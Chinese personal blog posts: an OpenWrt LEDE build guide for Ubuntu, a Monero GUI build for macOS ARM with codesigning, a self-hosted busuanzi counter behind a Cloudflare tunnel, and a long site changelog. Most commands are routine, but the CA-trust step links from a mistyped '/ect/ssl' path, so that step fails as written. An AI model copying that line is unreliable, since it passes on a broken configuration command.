前言 本文编译的为openwrt分支lede,本文主要以记录为主,因为中间有时候报错没弄,断断续续1个月左右搞好. 本文以ubuntu x86作为编译机. 编译成品: https://github.com/LanYunDev/lede_compile 安装依赖 1 2 3 4 5 6 7 sudo apt install -y ack antlr3 asciidoc autoconf automake autopoint binutils bison build-essential \ bzip2 ccache cmake cpio curl device-tree-compiler fastjar flex gawk gettext gcc-multilib g++-multilib \ git gperf haveged help2man intltool libc6-dev-i386 libelf-dev libglib2.0-dev libgmp3-dev libltdl-dev \ libmpc-dev libmpfr-dev libncurses5-dev libncursesw5-dev libreadline-dev libssl-dev libtool lrzsz \ mkisofs msmtp nano ninja-build p7zip p7zip-full patch pkgconf python2.7 python3 python3-pyelftools \ libpython3-dev qemu-utils rsync scons squashfs-tools subversion swig texinfo uglifyjs upx-ucl unzip \ vim wget xmlto xxd zlib1g-dev python3-setuptools zstd ninja-build meson 添加用户 如果你有非root用户,可跳过创建,后续都需要用非root用户进行操作. 1 2 3 4 5 6 7 8 9 10 # 添加用户 adduser openwrt # 设定密码 passwd openwrt # 添加 sudo 权限 usermod -a -G sudo openwrt # 进入用户 su openwrt # 切换目录 cd ~ 编译 1 2 3 4 5 6 7 git clone https://github.com/coolsnowwolf/lede.git cd lede ./scripts/feeds update -a ./scripts/feeds install -a make menuconfig # 手动配下 make download -j8 || make download || make download V=s make -j1 || make -j1 V=s 可选: 添加第三方包来源 1 2 3 4 echo >> feeds.conf.default echo 'src-git istore https://github.com/linkease/istore;main' >> feeds.conf.default sed -i '$a src-git kenzo https://github.com/kenzok8/openwrt-packages' feeds.conf.default sed -i '$a src-git small https://github.com/kenzok8/small' feeds.conf.default 更换golang版本 编译新版Sing-box和hysteria,需golang版本1.20或者以上版本. 若自带的版本过低,可用下面命令换成openwrt官方golang版本 1 2 3 pushd feeds/packages/lang rm -rf golang && svn co https://github.com/openwrt/packages/branches/openwrt-23.05/lang/golang popd 删除默认的 argon 主题 记得选. choose LUCI->Theme->Luci-theme-argon choose LUCI->Application->Luci-app-argon-config 1 2 3 4 5 6 cd ./package/lean rm -rf luci-theme-argon git clone -b 18.06 https://github.com/jerrykuku/luci-theme-argon.git luci-theme-argon rm -rf luci-app-argon-config # if have git clone -b 18.06 https://github.com/jerrykuku/luci-app-argon-config.git luci-app-argon-config cd ../../ 修改默认主题为argone 1 sed -i 's/luci-theme-bootstrap/luci-theme-argone/g' feeds/luci/collections/luci/Makefile 添加ddns-go 1 git clone https://github.com/sirpdboy/luci-app-ddns-go.git package/ddns-go 修改用户名 站内文章: OpenWrt 修改登陆用户名 二次编译 1 2 3 4 5 git pull ./scripts/feeds update -a ./scripts/feeds install -a make -j1 || make -j1 V=s # 不怕失败,可以用: make -j$(nproc) || make -j1 || make -j1 V=s 干净编译 编译出现问题且用make clean依然无法解决的情况. 1 2 3 4 5 6 7 8 # 也可以加上删除dl tmp staging_dir build_dir目录的操作 git pull ./scripts/feeds update -a ./scripts/feeds install -a make dirclean;make dirclean V=s make -j1 clean; make -j1 clean V=s make download || make download V=s make -j1 || make -j1 V=s 杂项 如果是ext4镜像,修改某些文件,提示:Read-only file system 用这个命令将根目录解锁即可. 1 mount -o remount,rw / 默认没有安装Git,自带的ssh没有ssh-agent功能,可以通过如下命令配置: 1 2 3 4 5 6 7 opkg update # 安装Git opkg remove git opkg install git-http opkg install ca-bundle # 安装SSH opkg install openssh-client openssh-keygen openssh-sftp-server 安装并信任根 CA 证书 参考 获取根 CA 证书 (若已有,可跳过,这里演示生成) 1 2 3 openssl s_client -connect ca.private-domain.tld:443 < /dev/null > /tmp/temporary.out openssl x509 -outform PEM < /tmp/temporary.out > /tmp/ca.private-domain.tld.cert rm /tmp/temporary.out 安装 CA 根证书 受信任的证书安装在/etc/ssl/certs,但是遵循FHS 3并用于/usr/local/share与体系结构无关的文件是一个很好的做法. 1 2 3 mkdir -p /usr/local/share/ca-certificates mv /tmp/ca.private-domain.tld.cert /usr/local/share/ca-certificates/ ln -s /usr/local/share/ca-certificates/ca.private-domain.tld.cert /etc/ssl/certs/ca.private-domain.tld.cert 将根 CA 证书添加到系统的信任存储中 证书已安装,但尚未被信任.您需要提供证书的哈希值. 1 2 3 4 5 6 7 8 # 生成哈希值 HASH="$(openssl x509 -hash -noout -in /etc/ssl/certs/ca.private-domain.tld.cert).0" # 显示哈希值 echo "$HASH" # 将哈希值链接到证书 ln -s "/ect/ssl/certs/ca.private-domain.tld.cert" "/etc/ssl/certs/$HASH" 注意: 如果其他证书有相同的哈希值,请使用后缀.1或.2,而不是.0. 解决配置文件无法保存问题: 临时: 1 mount -o remount rw / 永久: 1 vim /etc/rc.local 在exit 0之前添加命令mount -o remount rw /然后保存,并赋权. 1 chmod +x /etc/rc.local 或者编译解决: 1 2 3 4 make menuconfig 中把 block-mount 去掉 # 按顺序取消选中 Extra packages ---> automount Base system ---> block-mount 或者在luci中 系统 -> 挂载点 -> 挂载点 取消根目录 / 挂载点. 编译修改ssh端口: 1 2 vim ./package/network/services/dropbear/files/dropbear.config # 将option Port '22'中22修改为想要的端口 修改内核大版本 1 vim ./target/linux/x86/Makefile # 这里以x86为例,其他平台自行参考 修改KERNEL_TESTING_PATCHVER即可.如果没有则修改KERNEL_PATCHVER

2023/10/28
articleCard.readMore

编译monero For macOS ARM

前言 水💦篇文章. monero-gui官方没给ARM版.要下个版本应该会给?急急急,转译的应用很不爽.直接上编译. 这个项目里面整的很清楚了,但我还是要水💦. 前提: 你已安装了brew 如果不是非要ARM版本(注:本文发布时是没有arm版的,以后可能直接就是arm版,不用编译),可以直接用brew安装.CLI版:brew install monero GUI版:brew install monero-wallet 后续更新方便. 安装依赖 1 2 3 brew remove qt # 起手卸载,防止和qt@5冲突 brew install cmake pkg-config openssl boost unbound hidapi zmq libpgm libsodium miniupnpc expat libunwind-headers protobuf libgcrypt qt@5 brew reinstall qt@5 # 可选 编译 找个地方放编译文件夹,建议编译完不用删,方便以后编译,如果硬要删又要编译.我建议看我后面关于签名部分. 1 2 3 git clone --recursive https://github.com/monero-project/monero-gui.git cd monero-gui make -j$(nproc) || make -j1 编译没问题往后看,有问题自己解决吧(我不会). 如果编译文件夹不删除.那么请看本部分 1 cp -rf ./build/release/bin/monero-wallet-gui.app /Applications/monero-wallet-gui.app 构建应用程序包 用于要删文件夹情况. 1 2 3 4 5 mkdir build && cd build cmake -D CMAKE_BUILD_TYPE=Release -D ARCH=default .. make -j$(nproc) || make -j1 make deploy cd ./build/bin 新建文件entitlements.plist 1 2 3 4 5 6 7 8 9 10 cat << EOF > entitlements.plist <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>com.apple.security.cs.disable-executable-page-protection</key> <true/> </dict> </plist> EOF 然后运行下面命令,如果你有苹果开发者证书应该知道XXXXXXXXXX填什么.如果没有,别运行下面命令.看后面. 1 2 sudo codesign --deep --force --verify --verbose --options runtime --timestamp --entitlements entitlements.plist --sign 'XXXXXXXXXX' monero-wallet-gui.app cp -rf ./monero-wallet-gui.app /Applications/monero-wallet-gui.app 没有苹果开发者证书 将上面<true/>改为<false/> 打开钥匙串访问.app,然后在 登录 我的证书 这个界面下.然后看图 名称可以自己改.然后运行下面命令. 1 2 3 sudo codesign --deep --force --verify --verbose --options runtime --timestamp --entitlements entitlements.plist --sign 'lanyun' monero-wallet-gui.app spctl -a -t exec -vv monero-wallet-gui.app # 看一下,是不是accepted,如果是,则继续 cp -rf ./monero-wallet-gui.app /Applications/monero-wallet-gui.app 如果有问题,请自行参考 https://github.com/monero-project/monero-gui/blob/master/DEPLOY.md 如果你遇到 libboost_atomic-mt.dylib (no such file) 这个错误. 显然,出现了问题.有种错误修复方式,因为会导致显示异常. cp -rf /opt/homebrew/lib/libboost_atomic-mt.dylib ./monero-wallet-gui.app/Contents/Frameworks 本人不会修,可能是macOS版本太高了吧,无所谓,我不用构建应用程序包.

2023/8/27
articleCard.readMore

自建busuanzi不蒜子平台统计平台

前言 公益统计服务busuanzi官网: https://busuanzi.ibruce.info/ 由于速度很慢,故打算自建. 本文用到的项目地址: https://github.com/soxft/busuanzi 本来不想水一篇的,因为项目中的wiki已很清楚了,而且还支持docker部署. 但我还是想简单记录一下搭建过程(省略了某些简单的步骤),各位可以参考参考. 本文不采用docker方式搭建,因为要和cloudflared搭配,组成隧道. 基本前提: 有域名,有linux服务器 本文linux服务器以arch Linux为例. 编译 在你想要的目录下运行命令.(下面示例为root) 1 2 3 4 5 pacman -S git go redis # 如果已安装可以跳过 git clone https://github.com/soxft/busuanzi.git # 可以拉取我fork的仓库 # https://github.com/LanYunDev/busuanzi.git 我合并了yuantuo666和soxft仓库,代码最新且带有web管理功能. cd busuanzi go build -o busuanzi main.go 修改配置 修改busuanzi目录下config.yml配置文件. 首先是Web中的Address,由于我们要做隧道,所以没必要公网访问,所以加上127.0.0.1:xxx ,这里xxx代表端口号,建议填高位. 可以用命令 lsof -i -n -P | grep LISTEN 来检查端口使用情况, Debug测试的时候可以开一下,后面建议关了. 接下来就是Redis部分 首先Address为你redis的地址.例如本机: 127.0.0.1:6379 Address和Password,如果你是全新安装的,没动过redis配置,那就不用改. 但如果改了,或者想确认一下.可以这样做. 输入命令 1 2 cat /etc/redis/redis.conf | grep '^port' # 端口 cat /etc/redis/redis.conf | grep '^requirepass' # 密码,如果没有结果代表是被#注释了,即为空密码 关于Expire,自用的话,可以设置为0 关于JwtSecret,我推荐用uuid来做签名密钥. 输入命令uuidgen即可得到uuid 修改 dist/busuanzi.js文件中api的地址.例如我改为https://busuanzi.lanyundev.com/api 如果你用带有web管理功能的busuanzi Admin中Password记得改密码. 添加隧道 关于cloudflared搭建哪些看官方文档就行了,写的非常清楚. 记录一下,添加DNS记录命令: cloudflared tunnel route dns -f xxx busuanzi.lanyundev.com 主要注意一下,cloudflared进行DNS(dig)查询时,别被劫持了.(如果能用,就不用管这个.) 启动服务 1 systemctl enable --now redis.service # 设置为开机启动并启动redis vim /etc/systemd/system/busuanzi.service添加下面内容(ExecStart根据个人情况修改.) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 [Unit] Description=busuanzi Service Documentation=https://github.com/soxft/busuanzi After=network.target nss-lookup.target [Service] Type=simple #DynamicUser=yes User=root: Environment=QUIC_GO_ENABLE_GSO=true ExecStart=/root/busuanzi/busuanzi WorkingDirectory=/root/busuanzi/ Restart=on-failure LimitNPROC=512 LimitNOFILE=infinity [Install] WantedBy=multi-user.target 弄成服务,方便管理. 1 2 systemctl daemon-reload systemctl enable --now busuanzi.service Web管理 Address + /admin 进入管理界面.可以修改数据. 在没换之前,可以参考这个域名 busuanzi.ibruce.info 的响应,里面有Site PV Site UV Page PV等原来的信息. 其实,这个可有可无,数据而已,真假都无所谓的.看个人吧,我就直接取整数. 关于隐私 啥都看不到,md5加密,不保存源数据.非常安全,其实如果不是需要做身份区别,我觉得弄个数字就行了.

2023/8/19
articleCard.readMore

浅记博客更新日志

本文仅为博客相关更新日志.(只在原版butterfly做了一点点🤏微调,然后修复瞎搞引入的bug) TODO(主要是懒+没时间,技术都不是主要问题): 使用最新前端技术构建高性能博客 浅记更新日志 注:更新时间不准确,实际是我不知道啥时候突然想起有这个东东,然后随便写写的(故写的更新内容大概率不及时也不全面). 2025年7月18日 星期五 更新hexo-bilibili-bangumi依赖至2.0.0 移除 音乐解锁 工具(子路径部署存在部分问题,懒得修复). 2025年7月4日 星期五 修复一处代码错误(deleteCachesAndReload -> delete_caches_reload). 更新 音乐解锁 工具. 2025年6月13日 星期五 移除fleek cdn线路,原因:FREE PLAN已结束 2025年4月30日 星期三 修复阅读模式下,退出图标(fas fa-sign-out-alt exit-readmode)丢失 2025年4月22日 星期二 更新相关依赖(hexo-bilibili-bangumi@1.11.0, hexo-renderer-marked@7.0.1). 移除夜间模式下文字闪烁动画(因为在新版chrome上出现兼容问题). 修复友联及评论区部分图像因cors问题而无法加载. 2025年1月23日 星期四 临时恢复评论区后端中转处理服务(本来想搞个多线路备份,但没时间搞) 2025年1月20日 星期一 vercel流量用完了,评论区自然挂了,无所谓,看了下日志,Jan 11, 2025到Jan 16, 2025期间bing.lanyundev.com流量激增,罪魁祸首: Googlebot,byd,把流量都吃完了.反正这个bing代理域名早就不可用了,直接关了算了. 2025年1月3日 星期五 修复偶然发现的sw错误逻辑,移除不可用代码 增强:当用户离线,不再自动滚动pixiv日榜和发送pixiv图片请求 更新hexo-renderer-marked依赖 修复备用线路nginx配置出错(偶然发现,备用线路太多,可靠性太好,挂了一个都没感觉) 2024年12月26日 星期四 修复评论区在某些情况下人机验证失败(建议将本站添加到广告过滤软件白名单然后清除数据). 修复后端日榜nginx服务因为自动更新挂掉. 修复后端weibo.json更新服务因为python自动更新到3.13挂掉. 2024年11月12日 星期二 优化友联,顶置文章仅保留最近更新过的文章. 2024年11月7日 星期四 修复检查更新代码逻辑错误. 2024年11月6日 星期三 重置commit记录,减少本地git存储大小. 2024年10月31日 星期四 修复统计服务(升级redis,忘记重启统计服务了😂,挂了多长时间不清楚,应该挺长段时间.) 2024年10月22日 星期二 移除垃圾第三方CDN,优化友联列表. 发现兼容性问题: 由于 Firefox private mode navigator.serviceWorker is undefined (火狐浏览器隐私模式下,禁用了serviceWorker),故博客大部分功能故障无法正常工作,但依然可以浏览文章内容,只不过速度慢. 2024年8月10日 星期六 屏蔽投毒CDN 发现特性,浏览窗口尺寸发生改变(例如:移动端浏览器菜单自动隐藏)会导致背景图(#web_bg)也跟着缩放(可能会影响阅读,但不会修..) 2024年7月24日 星期三 新增特性当 友联_朋友圈 加载失败后,刷新网页,重新加载. 优化CF WAF,降低发生 托管质询 频率. 解决某些情况下pixiv日榜部分图片链接失效. 更新相关依赖. 2024年6月25日 星期二 新增fastly cdn线路. 2024年6月4日 星期二 修复友联某些图片cors加载异常. 修复评论区加载异常. 2024年4月23日 星期二 优化pixiv加载代码判断. 更新相关依赖. 2024年4月12日 星期五 修复代码框更多(fontawesome fas fa-angle-double-down)图标丢失.未对这个动画图标进行管理控制.因为懒,懒得弄.知道会影响GPU显示性能. 已经进行管理并优化其他图标动画. 顺带优化sw代码,并解决在本地预览遇到的cors问题. 2024年4月2日 星期二 解决评论区博主回复信息过长时评论框长度过长的css问题. 优化sw代码逻辑.优化版本检查代码逻辑. 修复pixiv日榜在某些页面未进行加载的问题. 2024年3月30日 星期六 优化sw代码,持久化缓存文件不再发送相关请求并修复并发请求中的bug. 2024年3月12日 星期二 修复复制代码按钮消失,如果遇到某个位置图标应该有但没有,请email我,因为我可能忘记添加了. 2024年2月14日 星期三 解决上次延期未做完的事,优化性能,减少js,css等文件.(希望不会引入新bug).优化并减少js,css等文件,移除了星空,帧率检测,性能检测等函数(没时间优化),新增为评论区提供缓存功能.修复rightside等边缘指针显示问题(chrome内核中使用64*64作为指针图像尺寸存在问题).优化通知悬浮窗,减少依赖.优化fps检测.优化博客结构,更新修补代码.优化图片格式和尺寸,本次改动较大且仍有部分内容未改动. 已定位到主题框架主要性能问题: fontawesome图标动画,但暂不做修复. 由于精力,时间等因素原因,故上述更改无限延期. 除非主题出现重大更改且个人主观认为有其必要性时,才进行更新. 2024年2月5日 星期一 修复分享函数未导入window中.减少一些innerHTML,优化一些函数,提高性能.新增本地和最新版本显示.修复sw中一些bug. 已延期 2024年2月1日 星期四 去掉了对jquery的依赖,减少了JS中 DOM 操作,优化了部分函数. 不过,对GPU性能要求依然有点高,不会弄.不搞了😂.性能优化不来.就这样了. 由于sw存在判断忘加!导致无限刷新,测试没做到位,下午8:03-8:41之间访问过博客的用户,需要手动清除数据. 引入了一个新bug,在非Chromium内核浏览器中出现无限刷新错误.今晚才发现,赶紧修复. 2024年1月11日 星期四 完善优化. 鸽了. 2024年1月10日 星期三 由于有优先级更高的事情做,故昨天的优化被中断(先写的日志再去搞的,先搞的话,搞完就不想写日志了…😂),今天有空搞完. 2024年1月9日 星期二 修复反向代理ipfs域名下的视频无法在基于WKWebView内核浏览器(例如:Safari浏览器)播放的问题,一直用Chrome测试.只能说chrome兼容性做的比较好,我没发现在Safari上的问题,偶然才发现. 原因: 由于cf反向代理,导致丢失range字段.只有Content-Type标头,缺少”Content-Range”,”Content-Length”标头. 缓解办法: 重定向到cloudflare-ipfs.com (ipfs.io还是加载太慢了,容易挂) 解决办法: 用Chrome浏览器😂,没办法,ipfs网关目前不支持视频分段请求. 优化了一点点局部代码,略微提高一点性能(应该不会引入新bug吧…🤔),修改并优化版本检测.增强主动版本检测能力. 2024年1月8日 星期一 修复由于精简css代码(移除了不必要的tag相关css),导致video标签显示异常. 若有显示问题,欢迎反馈. 2024年1月7日 星期日 移除frp cdn线路 2024年1月1日 星期一 修复在某些情况下cur文件加载异常(卡进度条百分之99) 2023年12月31日 星期日 移除某些无效文章. 2023年12月30日 星期六 主题更新至4.12.0.初步观察,暂未发现明显bug,推送修改. 修复友联部分图片链接失效. 2023年12月29日 星期五 继续进行了一些修复.例如浏览量显示问题等.由于某些原因将修复并发布推迟到30号(明天)去了. 2023年12月28日 星期四 移除了文章对图床的依赖,提高了图床中图片的质量.同步修改图床相关逻辑代码. 2023年12月27日 星期三 主题更新至4.11.0.修复部分显示bug并优化夜间模式下加粗字体的显示.略微优化下部分js逻辑.修复了主题差异特征识别脚本的部分bug并优化了部分流程.对友联页进行了一点优化. 由于hexo-renderer-markdown-it的anchor锚点功能和主题锚点功能冲突,故换成hexo-renderer-marked 修复由于更新引进的部分问题.精简一丢丢静态资源. 修复了若干问题.整改了图床,去掉许多未使用图片,并降低图床使用. 2023年12月6日 星期三 减少冗余cdn线路,减少首次访问流量消耗.降低冗余度. 2023年11月15日 星期三 由于某些原因,下线ipfs备用线路,待以后有稳定且安全的网络环境再整,ipfs相关文章均下线. 2023年11月9日 星期四 提高一丢丢低性能设备下的流畅度.精简一丢丢主css.修复日间阅读模式显示异常. 2023年11月8日 星期三 将Mac标签修改为macOS. 2023年11月1日 星期三 本地 hexo 更新至 v7.0.0 2023年10月24日 星期二 修复某个加载bug,修复手机端评论区部分布局问题. 2023年10月10日 星期二 优化低性能设备判断逻辑,提高判断速度和灵敏度.一旦认定为低性能设备则后续不会再次判断,默认低性能设备. 主题4.10发布,由于太懒,以后再更新. 修复notice.html失败逻辑,移除部分cdn,新增cdn 2023年10月8日 星期日 订阅转换后端取消白名单限制,修复订阅转换漏洞.并改为docker部署. 2023年9月27日 星期三 提供chatgpt反向代理,chat.lanyundev.com,备用chat-cf.lanyundev.com 2023年9月23日 星期六 修复部分因为删代码导致部分CSS异常. 2023年9月22日 星期五 修复友联朋友圈可能存在的由于cf负优化导致的问题.已添加data-cfasync="false"来规避. 2023年9月21日 星期四 移除外挂标签hexo-butterfly-tag-plugins-plus等,减少性能消耗并加快DOM构建速度. 提供PWA支持,调整css,减少js文件. 2023年9月16日 星期六 优化sw中关于IPFS相关逻辑,采用localforage作为存储方案.(引入js文件,略微降低性能,但能稍微提高读取速度) 考虑了下,算了,没必要,因为作用不大. 下线Chuanhu Chat,原因: 作者负优化,访客不可用. 上线web3存储. 2023年9月15日 星期五 优化sw逻辑,微小地提高性能,修复render预检(OPTIONS)的cors错误(修不好).上线IPFS备用线路. 2023年9月13日 星期三 移除某些友联.修复评论区回复css问题.新增锚点标签. 不太好看,取消了. 2023年9月8日 星期五 上线2条不稳定(test)cdn线路,修正某些服务器上nginx配置错误,而无法获取真实ip. 2023年9月6日 星期三 由于某条cdn的需要,故将本站最低TLS版本限制改为TLS 1.2,但仍强烈建议使用TLS 1.3 换线路了,改回去了 完善sw添加html后缀逻辑(直接去掉了),修复cdn的500错误,修复获取cdn的html文件跳转问题 由于某些线路不支持省略html后缀,修改sw逻辑 修复netlify线路的cors错误 修复load的oss链接无法使用的问题. 2023年9月5日 星期二 重新启用Rocket Loader™,修复frp cdn挂掉,没时间搞,以后博客基本不更新了.(原本还有个计划,优化存储方案,但算了) 2023年9月1日 星期六 重新上线禁用的线路.懒的更了,开摆. 2023年8月30日 星期三 03:00上线昨天的修改. 2023年8月29日 星期二 修复评论区最大高度被写死的问题,调整最低高度. 本站文章照片添加盲水印(添加到CI流中,比较麻烦).顺便修复包hexo-images-watermark,发布包hexo-images-watermark-fix 移除搜索中存在的html后缀(如果还有什么地方存在html后缀,请反馈给我,包括站内文章引用).(由于批量替换不准确的缘故,某些文章链接可能会有问题?不确定.)应该没有的. 经过评估,决定不对文字进行盲水印处理,因为某些文章存在代码,盲水印处理后会导致代码不可用.另外盲水印抗攻击能力弱,不采用. 2023年8月28日 星期一 发现昨天修复中引入了新bug,导致评论区和统计等功能异常.今下午修复完成. 优化sw逻辑,解决相同网页,不同网址造成的评论不同步. 全站链接去掉html后缀,更简洁. 修复错误的评论区数据,并将数据库转移到本地.懒的搞,修复一下数据错误就行了,反正评论区功能可有可无.无所谓. 重新上线bing. 发现(引入了)新的bug,文章照片加载异常,尝试修复. 貌似不是我引入的bug,未知,未知.不知道咋修.github对比了修改记录改回去了,一样不行,真灵异事件. 成功定位到原因.pretty_urls和hexo-asset-image存在冲突.另外我在hexo server --debug之前没有hexo clean导致的缓存问题. 修复官方包,发布: @lanyundev/hexo-asset-image-fix (就改了一行代码,修改第二十四行代码为: var endPos = link.length;) 2023年8月27日 星期日 无聊的时候,检查到oss链接存在cors错误,修复并推送. 2023年8月26日 星期六 移除失效友联,替换加载html链接为实力强劲提供的oss链接🔗. 2023年8月25日 星期五 没事的时候看看博客有没有新bug,随便一看frp线路全挂了.不会是有人打挂的吧.无所吊谓.今天再整2条主线路再加上条备用线路.(除此之外,把之前鸽掉的一条frp搞起,限速1M,反正可用性低,能用就行).等9月1号构建时间重置,可以把之前禁用的线路恢复(前提是还记得这件事).移除了低速npm线路.新增3条jsd类型cdn线路. 备注下: 本博客 ssl protocols最低要求TLS 1.3 (今天推送之前没检查,代码写错了导致照片和js代码获取异常..摸了会鱼才发现) 2023年8月24日 星期四 修复评论区CSS显示问题.(没修完,懒的修了,基本显示没问题就行.) 2023年8月22日 星期二 移除了某些文章,确保博客安全. 修复打赏图片加载异常. 2023年8月21日 星期一 由于昨天摸鱼去了,没整反代的CDN线路,今晚再整.某条整不起,那就先用4条(采用熔断保护机制)吧. 2023年8月20日 星期日 遇到mac致命bug,写过的东西会被还原,导致有些bug虽然修复,但mac给我回滚回去了.(Sonoma版本,我是一刻都不想待,但太懒,还是今晚再准备回滚版本吧或者一直更新下去,我看大概是后者吧,懒得动了.) 看到个bug,删除符有问题.某些情况下显示出错.算了,以后再修. 再增加5条博客小流量备用CDN线路.(等我啥时候有台高性能24h服务器再考虑博客进行IPFS备份吧,现在属实不想搞+没稳定的网络环境.) 先埋个坑,等啥时候无聊了,更换博客主题或者自建,反正这个性能问题,以后再解决吧.现在技术力实在不行. INP 将于 2024 年 3 月取代 FID 作为 Core Web Vitals 的一部分 我知道我博客CLS和INP都很差,但我真不知道咋个弄了.反正目前流畅浏览的性能要求和游戏3A差不多吧?不管了,反正我不卡. 随便说一下,本站的这个chat.lanyundev.com域名,我就搭建了这个项目,没openai的api key,也就没的玩,没的玩,我就开放,大家可以直接用,至于隐私,我tm服务器空间不够,日志都关了还看你内容? 所以这玩意,我从来不看不管的,反正有人用就用,不用也无所谓,每天定时自动检查更新并尝试更新.反正最新版就对了. 首先说明,本站或与其相关的子域名均不会存储你的任何数据,确保隐私安全🔐. 2023年8月19日 星期六 自建busuanzi不蒜子平台统计平台.由于技术+懒的原因,所有文章阅读数重置.毕竟一个数字而已,随便改改都行,我并不在乎. 2023年8月18日 星期五 修复未知原因的bug,即本地搜索🔍能用,线上搜索🔍挂了?不明所以,xml改成json格式又行了?真奇怪🤔. 准备上条备用线路cloudfront.已上线.(反正国内算是负优化) 教训:千万别开CF的缓存储备,这玩意怎么说呢,不仅贵,而且没到下一周期根本清除不了存储,它就一直占用.占用就有费用,也就说你想停下来不用这玩意,但不行,你只能停止同步,已同步的照样用.真的太草了.而且它这个东西的逻辑是替换你js,css等文件的链接,也就说sw中的判定规则直接无效,再加上国内访问非常慢,所以我评价 缓存储备 只适合国外富哥用. 移除了 页脚游动的鱼🐟 和 飘落的樱花🌸 ,降低对GPU性能的需要.(只要你fps一直低于60就能触发低性能模式,关闭冒泡动效.冒泡动效这玩意懒得优化了,开摆!) 修复了某字体404问题.移除了某2条线路. 修复一处因为优化js性能({passive:true})而产生的bug(置顶文章滚动异常). 博客版本v2.1.1 有2个线路因为构建时间不够(超出限制🚫),无法完成部署(等后面再加吧,最近修博客有点频繁) 另外,Safari上有未知bug,加载问题,无解,不管了,PC端chrome没问题就行. 2023年8月16日 星期三 修复进度条卡99%,原因某些浏览器block了google analytics的获取,而导致阻塞,目前只在Safari上遇到.不过已解决并没有,不能解决,只要有ad block软件就G了. 遇到一个致命缓存问题,cloudfront强行缓存我的静态资源导致sw加速出现问题.暂无解,只有等缓存过期 2023年8月15日 星期二 定位到一个隐形问题,CF给我负优化,我就说怪不得,为啥每到线上就怪怪的. 把Rocket Loader™给关了就行了,已修复. 2023年8月13日 星期日 2023年8月13日 17:57 部署的代码有问题,问题就是导致无法访问本博客.请手动F12打开控制台清除数据! 太草了,虽然生产与部署环境都隔离了,但我一般懒的检测,就自动推送了,推送上去,我一测试,我超,直接锁死🔒. 我很快哈,马上定位问题,结果是我废代码忘记删了,导致url路径错误.我赶紧改代码重新推送,但我推送流程中并没有考虑到快速推送到需求.而我要想推送到云端,本地还要做很多处理.这就导致我18:12:38才完成推送.期间临时回滚到上一个版本,但是由于我博客的特性,单节点回滚是没有用的,更何况有些CDN节点,根本来不及回滚,首要任务就是推送上去.故这期间访问的用户可能会出现问题. (应该没人访问吧?) 不用了,及时有问题也修复了,及时你在这期间访问过,也能被修复,因为我刚刚配了重定向,也复现了问题并修复.这个重定向规则我会挂几天,不定时就删掉.继续摸鱼去咯. 2023年8月11日 星期五 博客加速了一丢丢(牺牲性能的情况下). 用性能换网络加载速度,唯一的缺点就是对网络速度和设备性能都有一定的要求. 之所以这样做是因为大部分设备(过时设备除外)性能过剩而CF在国内一直是减速器.没办法只能出此下策. 感谢tang.lu站长提供的CDN.让本博客更快一丢丢. 2023年8月10日 星期五 修复了一些bug. 2023年8月9日 星期三 自动修补原版主题脚本终于优化好了.(也许会有奇怪的bug,但我没发现,大体是没问题了,没做细致测试) 当前hexo最新版,butterfly为4.10.0-b1.也许有人觉得beta版本不稳定. 🤣哈?稳定性?要啥稳定性,能用就行. 2023年8月8日 星期二 基于昨天摸鱼的情况,对昨天说过的更新内容进行完善.(搞IPFS.) 晚上再搞😄 国*/内机器人别tm爬我网站.草.GPT的机器人也爬我网站,我同意了嘛?小心我在文中加点料,弄*/死一群CV垃圾公众号. 不整IPFS了,吃流量多不说,在C*N内用了没有一个稳定的网络环境. 自动修补原版主题脚本终于整好了(还没),以后主题更新就方便多了(但,迷之Bug++,稳定性--). 2023年8月7日 星期一 新增IPFS线路,只要域名不灭,博客不死. 新增有限的IP检查,同时某些文章对敏感地区不可访问.(我发现有些有人很喜欢裸连,搞到我被迫整这个东西.😓) 将部分文章存档并加密🔐,避免被打击👊. 修复一些bug,5号的更新也还没推送. 修改性能检测逻辑,减少文件I/O读写.降低对性能影响. 性能检测只在非移动端进行,移动端默认低性能设备.(因为有些bug修不好,索性直接关了.) (此时的)检测逻辑(,不代表以后的逻辑): 首次记录的话,22秒内fps帧数低于60的数量(这里描述是有问题的,因为不好描述,低的话+1,高的话-1)大于19则代表低性能 没法描述,语言功底差,(之后又改了逻辑,)建议直接看代码. 大概今晚推送到云端☁️.(移动端直接关特效)(没推,忘记了,然后8号中午才想起推,推上去后,发现ipfs线路还没整好😄,昨天摸鱼.) 2023年8月5日 星期六 某些文章添加了一些必要说明. (BUG没修完,先修BUG去了,懒得写日志了) 优化了sw代码部分逻辑 优化了js代码运行效率 精简了部分js和css代码 新增性能检测,若首次访问在20秒内fps低于60,则标记为低性能设备. 终于找到为毛iOS Safari卡顿了,特么的对Service Worker缓存有限制☝️不是这个原因. 2023年7月23日 星期日 优化了sw代码部分逻辑 优化了js代码运行效率 精简了部分js和css代码 移除了某些不必要的文件 移除了博客中某些不必要的特性 重写博客相关自动化脚部分逻辑 更新hexo,butterflt及其相关package包 试图恢复IPFS相关线路,提高网站访问可用性和稳定性 已知问题(无法解决或难以解决或懒得解决 反正,我的Mac用最新版Chrome搭配稳定的网络遇不到这些问题 ): ①过时设备会出现卡顿,若左下角FPS低于60,则代表你设备已过时或设备GPU性能不足. ②在Safari和Edge等非最新版Chrome浏览器上均可能出现某些未知问题,如加载异常 解决办法:安装最新版Chrome浏览器 ③若你通过移动端访问本站,若你的网络不稳定或科学上网速度过于缓慢,概率性存在加载异常 解决办法:换稳定线路 若遇到其余问题,请尝试使用主页公告🪧中的清除缓存功能. 2022年5月15日 星期日 尝试更新Hexo,butterflt.今天凌晨🕛,成功完成博客照片水印的自动处理. 2022年8月1日 星期一 优化了一点点性能(不过依然对GPU性能有较大要求),较以前极大提高了速度. sw勉强能用,离线PWA暂时不考虑💭 2022年8月12日 星期五 更新: 目前实现了前端竞速,部分静态资源缓存.以及资源后台更新等. 缺点:网页性能差,卡. 该缺点仅在被淘汰设备中出现,本人的M1 Max表示没感觉. 2022年9月29日 星期三 博客支持HTTP/3(QUIC)协议访问. 博客支持自动化部署到IPFS. 博客采用多分布式部署, 优化线路提升接入速度, 后来想了想,暂不提升这个.因为要money. 用户访问博客永远可用, 新增樱花🌸动效开关, 新增IPFS网盘访问等, 因为不可描述原因,故移除 优化博客sw逻辑等.. 